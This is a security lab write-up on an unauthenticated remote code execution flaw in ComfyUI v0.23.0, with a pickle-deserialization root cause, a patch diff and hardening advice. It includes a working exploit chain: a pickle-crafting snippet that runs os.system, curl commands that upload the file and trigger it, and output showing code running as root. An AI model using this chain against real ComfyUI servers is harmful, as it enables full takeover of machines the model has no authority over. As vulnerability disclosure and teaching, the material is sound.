
Security research lab — Unauthenticated RCE via insecure deserialization in ComfyUI v0.23.0 (CVSS 9.8). Isolated Docker environment, technical analysis and documentation.
For educational purposes only. Only use against systems you own or have explicit written authorization to test.
ComfyUI is an open-source node-based graphical interface for running AI image and video generation models locally. It allows users to build complex generation pipelines by connecting nodes visually — each node representing an operation such as loading a model, encoding text prompts, sampling, or post-processing images. Its flexibility and support for a wide range of models (Stable Diffusion, Flux, HunyuanVideo, and others) have made it one of the most widely adopted tools in the AI generation community.
The application exposes a local HTTP API on port 8188, through which the frontend communicates with the backend to upload assets and queue generation workflows. While designed for single-user local use, it is common to find ComfyUI instances exposed on internal networks or directly on the internet — in cloud GPU environments, shared research setups, or self-hosted creative studios — often without any additional authentication layer, matching exactly the threat model this vulnerability targets.
At the time of disclosure, ComfyUI had over 65,000 stars on GitHub and an active ecosystem of custom nodes and extensions, many of which introduce additional attack surface beyond the core application.
CVE-2026-68771 is an insecure deserialization vulnerability (CWE-502) in ComfyUI v0.23.0 that allows an unauthenticated remote attacker to execute arbitrary code on the server. The attack chain combines two unauthenticated endpoints: POST /upload/image to upload a malicious pickle file, and to trigger its deserialization through the node.
POST /promptLoadTrainingDataset| Field | Value |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| Vulnerable version | ComfyUI v0.23.0 (and earlier without the fix) |
| Fixed version | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Published | July 31, 2026 |
weights_only default change)POST /upload/image — server.py, lines 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, lines 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Neither endpoint implements any access control. Any HTTP client can upload files and queue workflows without authentication.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, line 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() without weights_only=True uses Python's pickle protocol to deserialize the file. Pickle is not a data format — it is a Python object serialization protocol that executes the __reduce__ method of any object during deserialization, enabling arbitrary code execution.
The node relied on PyTorch's historical default (weights_only=False), making it the only torch.load call in the entire codebase without the explicit parameter. The rest of the codebase (comfy/utils.py, comfy/sd1_clip.py) already passed it correctly.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
The payload exploits Python's pickle reduce protocol. When torch.load() deserializes the file, Python instantiates the object by calling the callable returned by reduce, executing the attacker-controlled command before any application logic runs.
The filename must match the pattern shard_*.pkl — hardcoded in LoadTrainingDataset.execute() as the file discovery filter:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Output:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Response:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 with no token, no session, no special headers.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Response:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
File: comfy_extras/nodes_dataset.py
Author: Matt Miller
Date: June 18, 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
A single parameter. weights_only=True instructs PyTorch to use a restricted deserializer that only accepts tensors and Python primitive types, rejecting any arbitrary object with __reduce__.
The commit message summarizes it clearly:
"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."
PyTorch version note: Starting with PyTorch 2.6, the default value of weights_only changed from False to True, which mitigates the vulnerability on modern PyTorch installs even without the code fix. The CVE particularly affects installations running PyTorch < 2.6, which was the typical production environment when it was published in July 2026.
Update ComfyUI to commit 94ee49b or later. One line of code.
1. Authentication on API endpoints
ComfyUI is designed for local use. If exposed on a network, it must be protected with a reverse proxy (nginx/Caddy) with basic authentication, or by using the --multi-user flag with proper session management.
2. Never expose ComfyUI directly to the internet
The application design assumes a trusted local environment. The CVSS 9.8 score reflects the complete absence of access controls at the application layer.
3. File type validation on upload
The /upload/image endpoint accepts any file extension including .pkl. It should validate content-type and extension against a whitelist of actual image formats.
torch.load calls already had it) suggests this node was added without a security review.weights_only default; the vulnerable code existed throughout that period.Analysis conducted in an isolated environment for educational purposes. Lab destroyed after documentation.